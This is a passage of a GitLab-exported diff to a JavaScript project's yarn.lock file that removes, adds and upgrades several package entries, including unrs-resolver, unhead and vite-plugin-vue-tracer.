   resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-8.2.0.tgz#794a590dcf54588ec2282ce6065f15121fa348a0"
   integrity sha512-eONBZy4hm2AgxjNFd8a4nyDJnzUAH0g34xSQAwWEVGCjdZ4ZL7dKZBfq267GWP/JaS9zW62Xs2FeAdDvpHHJGQ==
@@ -8570,11 +8522,6 @@ require-directory@^2.1.1:
   resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
   integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
 
-require-from-string@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
-  integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
-
 resolve-from@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
@@ -8675,23 +8622,6 @@ roughjs@^4.6.6:
     points-on-curve "^0.2.0"
     points-on-path "^0.2.1"
 
-rspack-resolver@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/rspack-resolver/-/rspack-resolver-1.2.2.tgz#f4f8f740246c59bc83525f830aca628b71843e8a"
-  integrity sha512-Fwc19jMBA3g+fxDJH2B4WxwZjE0VaaOL7OX/A4Wn5Zv7bOD/vyPZhzXfaO73Xc2GAlfi96g5fGUa378WbIGfFw==
-  optionalDependencies:
-    "@unrs/rspack-resolver-binding-darwin-arm64" "1.2.2"
-    "@unrs/rspack-resolver-binding-darwin-x64" "1.2.2"
-    "@unrs/rspack-resolver-binding-freebsd-x64" "1.2.2"
-    "@unrs/rspack-resolver-binding-linux-arm-gnueabihf" "1.2.2"
-    "@unrs/rspack-resolver-binding-linux-arm64-gnu" "1.2.2"
-    "@unrs/rspack-resolver-binding-linux-arm64-musl" "1.2.2"
-    "@unrs/rspack-resolver-binding-linux-x64-gnu" "1.2.2"
-    "@unrs/rspack-resolver-binding-linux-x64-musl" "1.2.2"
-    "@unrs/rspack-resolver-binding-wasm32-wasi" "1.2.2"
-    "@unrs/rspack-resolver-binding-win32-arm64-msvc" "1.2.2"
-    "@unrs/rspack-resolver-binding-win32-x64-msvc" "1.2.2"
-
 run-applescript@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/run-applescript/-/run-applescript-7.0.0.tgz#e5a553c2bffd620e169d276c1cd8f1b64778fbeb"
@@ -9266,11 +9196,6 @@ supports-color@^7.1.0:
   dependencies:
     has-flag "^4.0.0"
 
-supports-color@^9.4.0:
-  version "9.4.0"
-  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-9.4.0.tgz#17bfcf686288f531db3dea3215510621ccb55954"
-  integrity sha512-VL+lNrEoIXww1coLPOmiEmK/0sGigko5COxI09KzHc2VJXJsQ37UaQ+8quuxjDeA7+KnLGTWRyOXSLLR2Wb4jw==
-
 supports-preserve-symlinks-flag@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09"
@@ -9540,10 +9465,10 @@ unenv@^2.0.0-rc.15:
     pathe "^2.0.3"
     ufo "^1.5.4"
 
-unhead@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/unhead/-/unhead-2.0.0.tgz#918f33bf1bbbab329a6aeb396c1498637a9b87f1"
-  integrity sha512-3H+CpXTMq1FPWc6tWj4VjG+NfWrIXswfpNWC29Ux8Dq0RyWcU1pF00Qx/KjaXprkXH53pE/lTT+1+D8BJ430ew==
+unhead@2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/unhead/-/unhead-2.0.2.tgz#7f65e3feebaadb0408806029c1e4f19698b28aed"
+  integrity sha512-1pcK/rSA70sezpdgmupQPd/yrul8pVFJRwMvWjEthbsXoTXMqjNQlV7NBXWeWt5r2uje1lZJsvRTHF7IvdOhcg==
   dependencies:
     hookable "^5.5.3"
 
@@ -9728,6 +9653,27 @@ unplugin@^2.1.0, unplugin@^2.2.0, unplugin@^2.2.1, unplugin@^2.2.2:
     acorn "^8.14.1"
     webpack-virtual-modules "^0.6.2"
 
+unrs-resolver@^1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/unrs-resolver/-/unrs-resolver-1.3.1.tgz#f3bfc6e87cb6659c3707925ea0ba65e2e930435e"
+  integrity sha512-8OaGhiFH/BLD8CPBPs1y/OLlMvxmZs5tqLT/7FO49LyG3oXYEx20tNcOrLZzzKWYhnCprv60tzJjbZgzWZvHvg==
+  optionalDependencies:
+    "@unrs/resolver-binding-darwin-arm64" "1.3.1"
+    "@unrs/resolver-binding-darwin-x64" "1.3.1"
+    "@unrs/resolver-binding-freebsd-x64" "1.3.1"
+    "@unrs/resolver-binding-linux-arm-gnueabihf" "1.3.1"
+    "@unrs/resolver-binding-linux-arm-musleabihf" "1.3.1"
+    "@unrs/resolver-binding-linux-arm64-gnu" "1.3.1"
+    "@unrs/resolver-binding-linux-arm64-musl" "1.3.1"
+    "@unrs/resolver-binding-linux-ppc64-gnu" "1.3.1"
+    "@unrs/resolver-binding-linux-s390x-gnu" "1.3.1"
+    "@unrs/resolver-binding-linux-x64-gnu" "1.3.1"
+    "@unrs/resolver-binding-linux-x64-musl" "1.3.1"
+    "@unrs/resolver-binding-wasm32-wasi" "1.3.1"
+    "@unrs/resolver-binding-win32-arm64-msvc" "1.3.1"
+    "@unrs/resolver-binding-win32-ia32-msvc" "1.3.1"
+    "@unrs/resolver-binding-win32-x64-msvc" "1.3.1"
+
 unstorage@^1.10.1, unstorage@^1.15.0:
   version "1.15.0"
   resolved "https://registry.yarnpkg.com/unstorage/-/unstorage-1.15.0.tgz#d1f23cba0901c5317d15a751a299e50fbb637674"
@@ -9787,11 +9733,6 @@ uqr@^0.1.2:
   resolved "https://registry.yarnpkg.com/uqr/-/uqr-0.1.2.tgz#5c6cd5dcff9581f9bb35b982cb89e2c483a41d7d"
   integrity sha512-MJu7ypHq6QasgF5YRTjqscSzQp/W11zoUk6kvmlH+fmWEs63Y0Eib13hYFwAzagRJcVY8WVnlV+eBDUGMJ5IbA==
 
-uri-js-replace@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/uri-js-replace/-/uri-js-replace-1.0.1.tgz#c285bb352b701c9dfdaeffc4da5be77f936c9048"
-  integrity sha512-W+C9NWNLFOoBI2QWDp4UT9pv65r2w5Cx+3sTYFvtMdDBxkKt1syCqsUdSFAChbEe1uK5TfS04wt/nGwmaeIQ0g==
-
 uri-js@^4.2.2:
   version "4.4.1"
   resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
@@ -9809,7 +9750,7 @@ uuid@^11.1.0:
   resolved "https://registry.yarnpkg.com/uuid/-/uuid-11.1.0.tgz#9549028be1753bb934fc96e2bca09bb4105ae912"
   integrity sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A==
 
-valibot@^1.0.0-rc.4:
+valibot@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/valibot/-/valibot-1.0.0.tgz#1f82514296abcd23d0ae4280088ba85f8651c564"
   integrity sha512-1Hc0ihzWxBar6NGeZv7fPLY0QuxFMyxwYR2sF1Blu7Wq7EnremwY2W02tit2ij2VJT8HcSkHAQqmFfl77f73Yw==
@@ -9905,12 +9846,13 @@ vite-plugin-inspect@^11.0.0:
     unplugin-utils "^0.2.0"
     vite-dev-rpc "^1.0.7"
 
-vite-plugin-vue-tracer@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/vite-plugin-vue-tracer/-/vite-plugin-vue-tracer-0.1.1.tgz#cf1195f82320a52ca7bc90f7f0ff9c85d01a0f11"
-  integrity sha512-8BuReHmbSPd6iRQDQhlyK5+DexY1Hmb4K0GUVo9Te1Yaz8gyOZspBm9qdG1SvebdSIKw3WNlzpdstJ47TJ4bOw==
+vite-plugin-vue-tracer@^0.1.3:
+  version "0.1.3"
+  resolved "https://registry.yarnpkg.com/vite-plugin-vue-tracer/-/vite-plugin-vue-tracer-0.1.3.tgz#6639050fd946aa911f89efd80120fea6e49fd830"
+  integrity sha512-+fN6oo0//dwZP9Ax9gRKeUroCqpQ43P57qlWgL0ljCIxAs+Rpqn/L4anIPZPgjDPga5dZH+ZJsshbF0PNJbm3Q==
   dependencies:
     estree-walker "^3.0.3"
+    exsolve "^1.0.4"
     magic-string "^0.30.17"
     pathe "^2.0.3"
     source-map-js "^1.2.1"
@@ -10162,11 +10104,6 @@ yallist@^5.0.0:
   resolved "https://registry.yarnpkg.com/yallist/-/yallist-5.0.0.tgz#00e2de443639ed0d78fd87de0d27469fbcffb533"
   integrity sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==
 
-yaml-ast-parser@0.0.43:
-  version "0.0.43"
-  resolved "https://registry.yarnpkg.com/yaml-ast-parser/-/yaml-ast-parser-0.0.43.tgz#e8a23e6fb4c38076ab92995c5dca33f3d3d7c9bb"
-  integrity sha512-2PTINUwsRqSd+s8XxKaJWQlUuEMHJQyEuh2edBbW8KNJz0SJPwUSD2zRWqezFEdN7IzAgeuYHFUCF7o8zRdZ0A==
-
 yaml-eslint-parser@^1.2.1, yaml-eslint-parser@^1.2.2:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/yaml-eslint-parser/-/yaml-eslint-parser-1.3.0.tgz#975dd11f8349e18c15c88b0e41a6d0b0377969cd"
-- 
GitLab